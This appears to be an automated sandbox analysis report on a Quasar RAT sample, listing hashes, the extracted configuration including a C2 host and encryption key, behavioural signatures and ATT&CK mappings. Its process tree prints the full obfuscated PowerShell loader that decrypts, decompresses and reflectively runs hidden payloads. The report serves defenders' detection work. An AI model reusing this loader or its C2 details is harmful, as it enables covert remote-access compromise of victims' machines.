quasar | 7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa

General

Target

mbbkel3.cmd
Size

1.6MB
MD5

d7239bc304b1d9d4ae192e2570419d53
SHA1

dccb1c1c8021d791852cd5c0dc5c6240be0ed2d1
SHA256

7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa
SHA512

d52dde51b91d287c750e85828ce4dd7a46e0ea2235fd6e63d4e7588745f7e34c198827cccb2d719525ecea5e92a8804377ca193b2d3e1e0e986d4f77d8dd4430
SSDEEP

24576:U6X5+xxQt9059S6lF1Xnu3V9wdo/Z7h6lstvegjMuz0OGSqE2qfv9OU:LpG/h3IHre0zRL

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

walkout.ddnsgeek.com:8080

Mutex

27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes

encryption_key
6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4924-32-0x0000025755640000-0x0000025755964000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow	pid	Process
24	4924	powershell.exe
26	4924	powershell.exe
28	4924	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
4924	powershell.exe
2484	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
4924	powershell.exe
4924	powershell.exe
2484	powershell.exe
2484	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid	Process
4924	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	Process	procid_target
PID 4004 wrote to memory of 2184	4004	cmd.exe	86
PID 4004 wrote to memory of 2184	4004	cmd.exe	86
PID 4004 wrote to memory of 4924	4004	cmd.exe	87
PID 4004 wrote to memory of 4924	4004	cmd.exe	87
PID 4924 wrote to memory of 2484	4924	powershell.exe	90
PID 4924 wrote to memory of 2484	4924	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mbbkel3.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('dZwBIL8mRiTZatOT8DHuTDuk3Oo1l68JNKsZ1rANWLs='); $aes_var.IV=[System.Convert]::FromBase64String('VRFaPmL5cO3W99Q3sAgvnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Sopqh=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LWDBe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$TccZi=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Sopqh, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $TccZi.CopyTo($LWDBe); $TccZi.Dispose(); $Sopqh.Dispose(); $LWDBe.Dispose(); $LWDBe.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MWnnv=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$jHyaV=$MWnnv.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jHyaV.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$mjRKG = 'C:\Users\Admin\AppData\Local\Temp\mbbkel3.cmd';$host.UI.RawUI.WindowTitle = $mjRKG;$ysPnv=[System.IO.File]::ReadAllText($mjRKG).Split([Environment]::NewLine);foreach ($akrhi in $ysPnv) { if ($akrhi.StartsWith('dUMGHfMAItMYvjVTxFtd')) { $XDrXi=$akrhi.Substring(20); break; }}$payloads_var=[string[]]$XDrXi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqxrpwwh.sqv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2484-24-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-29-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-26-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-25-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/4924-13-0x00000257553C0000-0x0000025755404000-memory.dmp

Filesize
272KB

Download
memory/4924-33-0x0000025755F20000-0x0000025755F70000-memory.dmp

Filesize
320KB

Download
memory/4924-0-0x00007FF9DE4F3000-0x00007FF9DE4F5000-memory.dmp

Filesize
8KB

Download
memory/4924-12-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/4924-11-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/4924-1-0x0000025752E60000-0x0000025752E82000-memory.dmp

Filesize
136KB

Download
memory/4924-30-0x0000025752E90000-0x0000025752E9C000-memory.dmp

Filesize
48KB

Download
memory/4924-31-0x0000025755510000-0x0000025755642000-memory.dmp

Filesize
1.2MB

Download
memory/4924-32-0x0000025755640000-0x0000025755964000-memory.dmp

Filesize
3.1MB

Download
memory/4924-14-0x0000025755490000-0x0000025755506000-memory.dmp

Filesize
472KB

Download
memory/4924-34-0x0000025756030000-0x00000257560E2000-memory.dmp

Filesize
712KB

Download
memory/4924-35-0x0000025756810000-0x00000257569D2000-memory.dmp

Filesize
1.8MB

Download
memory/4924-38-0x0000025755F70000-0x0000025755F82000-memory.dmp

Filesize
72KB

Download
memory/4924-39-0x0000025755FD0000-0x000002575600C000-memory.dmp

Filesize
240KB

Download
memory/4924-40-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/4924-41-0x00007FF9DE4F3000-0x00007FF9DE4F5000-memory.dmp

Filesize
8KB

Download
memory/4924-42-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads